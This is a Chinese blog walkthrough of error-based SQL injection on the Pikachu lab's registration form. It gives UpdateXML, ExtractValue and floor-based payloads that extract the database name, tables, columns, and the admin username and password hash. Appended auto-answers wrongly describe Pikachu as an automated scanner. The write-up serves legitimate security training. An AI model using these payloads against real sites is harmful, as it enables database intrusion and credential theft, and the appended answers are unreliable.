Pikachu的”insert/update”注入

Pikachu的”insert/update”注入

一、相关函数

UpdateXML(xml_target,xpath_expr,new_xml)

#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。

ExtractValue(xml_frag, xpath_expr)

#此函数是返回在xml_frag用xpath_expr路径匹配到的XML片段。

floor(x)

#此函数返回不大于x的最大整数。

二、注入原理

1.在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回。
2.floor()报错,需要count()、rand()、group by,三者缺一不可。
floor(rand(0)*2)每次执行结果是基本固定的——011011…
在使用group by floor(rand(0)*2)创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,插入报错。

三、实操

使用pikachu靶场中SQL-Inject的“insert/update”注入,点击注册。
1.加单引号看一下报错。
在这里插入图片描述
查数据库名payload。
UpdateXML()函数:

1' and UpdateXML(1,concat('~',database()),1))#

ExtractValue()函数:

1' and ExtractValue(1,concat('~',database())))#

在这里插入图片描述
floor()报错:

1'and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

嵌套查询原因:里面的查询结果是一个虚拟表,所以需要外套一个查询语句。
在这里插入图片描述
3.查表名payload。
UpdateXML()函数:

1' and UpdateXML(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1))#

ExtractValue()函数:

1' and ExtractValue(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1))))#

在这里插入图片描述
floor()报错:

1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

在这里插入图片描述
注意:一次只能取出一个,因此需要使用limit,第一个参数表示从哪条开始查,第二个参数表示查几条数据。
limit 3,1查出users表。

1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 3,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

在这里插入图片描述
4.查字段名payload。
UpdateXML()函数:

1' and UpdateXML(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1))#

ExtractValue()函数:

1' and ExtractValue(1,concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1))))#

在这里插入图片描述
floor()报错:

1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

在这里插入图片描述
limit 1,1查出username字段;

1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 1,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

在这里插入图片描述
limit 2,1查出password字段。

1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 2,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

在这里插入图片描述
5.查数据payload。
UpdateXML()函数:
查username:

1' and UpdateXML(1,concat('~',(select username from users limit 0,1)),1))#

在这里插入图片描述
查password:

1' and UpdateXML(1,concat(0,(select substr(password,1) from users where username='admin')),1))#

在这里插入图片描述
ExtractValue()函数:
查username:

1' and ExtractValue(1,concat('~',(select username from users limit 0,1))))#

在这里插入图片描述
查password:

1' and ExtractValue(1,concat(0,(select substr(password,1) from users where username='admin'))))#

在这里插入图片描述
UpdateXML()、ExtractValue()有长度限制,将之前想用来标记位置的’~'换成0,返回完整的32位md5值
floor()报错:

1'and (select 1 from (select count(*),concat('~',(select concat(username,'~',password) from users limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

在这里插入图片描述

  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Pikachu insert/update注入是一种常见的SQL注入攻击方式,攻击者通过在输入框中插入恶意代码,从而获取数据库中的敏感信息或者控制数据库。这种攻击方式可以通过输入验证、参数化查询等方式进行防范。 ### 回答2: Pikachu是一种针对Web应用程序进行渗透测试的自动化工具,它可以自动化地检测Web应用程序中的安全漏洞。Pikachu主要可以检测的安全漏洞包括SQL注入、XSS跨站脚本攻击、CSRF跨站请求伪造、SSRF服务器端请求伪造、文件上传漏洞等,其中包括Pikachu insert/update注入Pikachu insert/update注入,指的是Web应用程序中的一个安全漏洞,黑客可以通过这个漏洞在Web应用程序的数据库中插入或修改数据。这个漏洞通常出现在Web应用程序中的输入验证不严格或是没有做好防范的情况下。 在Pikachu进行渗透测试时,检测出Pikachu insert/update注入的方法主要有两种: 1.手动检测 手动检测方法需要对Web应用程序的输入点进行穷举和分析,如果发现一个输入点没有进行防御,那么就可以使用Pikachu insert/update注入的方式进行攻击。黑客可以通过在输入框中输入一些特殊字符和关键词,来判断数据库是否存在注入漏洞。如果成功注入,则可以在数据库中插入或修改数据。这种方法需要黑客具备一定的技术和分析能力,对注入的细节要有深入的了解。 2.自动化检测 自动化检测方法则是利用Pikachu这个工具来自动化地发现这个漏洞。Pikachu工具可以发现Web应用程序中的所有输入点,并对输入点进行测试,如果发现存在注入漏洞,则会给出相应的漏洞报告,并给出漏洞的等级和影响程度。这种方法可以快速地发现漏洞,但需要使用者对Pikachu工具具备一定的了解和使用经验。 综上所述,Pikachu insert/update注入是一种常见的Web应用程序安全漏洞,黑客可以通过这个漏洞来获取Web应用程序中的数据。对于开发者来说,要避免Pikachu insert/update注入安全漏洞的发生,需要对输入点进行严格的验证和过滤,使用安全的编码规范,并进行定期的安全评估和漏洞扫描。 ### 回答3: Pikachu Insert/Update注入是一种SQL注入攻击方式,该攻击主要针对Web应用程序中的输入验证不严谨,允许用户通过输入恶意字符串等方式将非法的SQL语句插入到应用程序中,从而达到窃取、篡改或删除数据等目的的手段。 Pikachu Insert/Update注入攻击的原理是通过构造SQL语句,在应用程序中的表单提交时,将非法SQL语句插入到SQL查询语句中,利用应用程序的漏洞执行非法的SQL语句,从而达到攻击的目的。 常见的Pikachu Insert/Update注入攻击有以下几种方式: 1.基于表单的SQL注入攻击。攻击者通过在表单提交时插入非法的SQL语句,从而使应用程序执行非法的SQL查询语句。 2.基于URL参数的SQL注入攻击。攻击者通过在URL参数中插入非法的SQL语句,使应用程序执行非法的SQL查询语句。 3.基于Cookie的SQL注入攻击。攻击者通过在Cookie中插入非法的SQL语句,使应用程序执行非法的SQL查询语句。 为了防止Pikachu Insert/Update注入攻击,开发人员应该从以下方面入手: 1.对输入进行严格的验证和过滤,限制输入长度和格式。 2.使用参数化查询或存储过程,避免使用拼接字符串的方式构造SQL语句。 3.对于敏感信息的处理,应该采用加密等方式,避免信息被盗取、篡改或删除。 4.对于Web应用程序的代码,需要进行安全的编码和测试。 总之,Pikachu Insert/Update注入是一种常见的SQL注入攻击方式,对于Web应用程序的开发者来说,需要加强对输入验证的控制,采用安全的编码方式,防止攻击者利用代码漏洞进行非法的SQL注入攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值